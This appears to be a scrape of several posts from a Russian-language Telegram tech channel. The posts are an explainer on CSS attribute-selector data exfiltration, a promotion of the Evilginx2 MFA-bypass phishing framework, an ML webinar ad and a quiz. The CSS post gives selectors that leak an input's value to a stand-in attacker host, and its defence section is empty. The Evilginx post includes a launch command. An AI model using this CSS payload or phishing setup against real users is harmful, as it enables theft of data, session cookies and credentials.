CSS обычно используется для оформления, но может извлекать данные. Это уязвимость, но мы рассмотрим безопасный локальный PoC.
Как это работает:
1. Цель — найти нужный текст (например, email) на странице.
2. Инструмент — CSS меняет стили элементов в зависимости от содержимого
([attr^=], [attr$=], [attr*=] и другие).3. Угроза — злоумышленник подгружает изображения в зависимости от текста и по логам определяет найденные символы.
HTML-страница (жертва)
<!DOCTYPE html>
<html>
<head>
<title>Личный кабинет</title>
</head>
<body>
<input type="text" value="secret123" id="secret">
</body>
</html>
CSS-«атака»
input[value^="s"] {
background: url("log-server.com/starts-with-s");
}
input[value^="se"] {
background: url("log-server.com/starts-with-se");
}
В реальной атаке l
og-server.com — это сервер злоумышленника, но в нашем примере можно заменить его на локальный https://localhost:8000 и отслеживать запросы в консоли браузера.Как защититься:
#буст
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4
This media is not supported in your browser
VIEW IN TELEGRAM
📅 Сегодня в 19:00 МСК — бесплатный вебинар с Марией Жаровой.
Тема: «Введение в ML: как спрогнозировать стоимость недвижимости».
🔹 Разберём задачу прогноза стоимости недвижимости.
🔹 Покажем пошагово, как собрать первую модель.
🔹 Получите готовые скрипты для старта.
Не зайдёшь — будешь ещё год делать вид, что понимаешь графики в чужих презентациях.
👉 Регистрируйтесь
Тема: «Введение в ML: как спрогнозировать стоимость недвижимости».
🔹 Разберём задачу прогноза стоимости недвижимости.
🔹 Покажем пошагово, как собрать первую модель.
🔹 Получите готовые скрипты для старта.
Не зайдёшь — будешь ещё год делать вид, что понимаешь графики в чужих презентациях.
👉 Регистрируйтесь
🔥3
Какой HTTP-код придумали шутки ради, а потом он стал мемом ❓
Anonymous Quiz
26%
451
15%
499
22%
418
37%
999
💯4😁1
Evilginx2 — это фреймворк для phishing-атаки без паролей, главная фишка которого в том, что он перехватывает cookies сессии и токены MFA.
Чем полезен:
— Обход классических 2FA/SMS/MFA
— Реалистичные фишинговые страницы (копируются вживую)
— Поддержка кастомных фишинговых шаблонов
— Логи сессий с захваченными cookies и токенами
Пример запуска:
evilginx -p ./phishlets/microsoft.yaml
После запуска жертва открывает фишинговый домен, проходит логин, а атакующий получает рабочие cookies.
#буст
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5👏1
Мессенджер Max активно продвигают как «новинку», но под капотом он оказался куда более знакомым.
В карточках — что внутри Max, на чём он работает и как обстоят дела с безопасностью
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚7❤2